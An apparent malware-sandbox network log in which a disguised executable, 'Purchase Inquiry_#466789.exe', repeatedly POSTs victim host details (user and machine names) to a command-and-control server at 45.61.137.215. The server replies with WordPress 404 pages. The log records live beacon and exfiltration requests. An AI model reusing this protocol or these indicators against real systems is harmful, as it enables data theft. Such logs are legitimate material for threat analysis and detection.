May 27, 2024 08:33:30.432346106 CEST	1236	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49777	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:30.592636108 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:30.597626925 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:32.708559036 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:31 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:32.708619118 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:33:32.708650112 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:33:32.708683968 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:33:32.708791018 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:33:32.708825111 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:33:32.708863974 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:32.708898067 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:32.708935022 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:32.708970070 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49778	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:32.904351950 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:32.909456015 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:35.010194063 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:33 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:35.010226011 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:35.010305882 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:35.010322094 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:35.010338068 CEST	1236	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:35.010354042 CEST	1236	IN	Data Raw: 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 Data Ascii: nge-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-w
May 27, 2024 08:33:35.010370016 CEST	1236	IN	Data Raw: 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 Data Ascii: -preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--p
May 27, 2024 08:33:35.010385990 CEST	1236	IN	Data Raw: 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f Data Ascii: white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-c
May 27, 2024 08:33:35.010401964 CEST	1236	IN	Data Raw: 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: t;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-
May 27, 2024 08:33:35.010417938 CEST	556	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49779	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:35.317851067 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:35.323153973 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:37.469744921 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:35 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:37.469767094 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:37.469778061 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:37.469788074 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:37.469794035 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:37.469804049 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:33:37.469815016 CEST	1236	IN	Data Raw: 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 30 36 2c 32 33 36 29 20 30 25 2c 72 67 62 28 31 35 32 2c 31 35 30 2c 32 34 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 Data Ascii: near-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(13
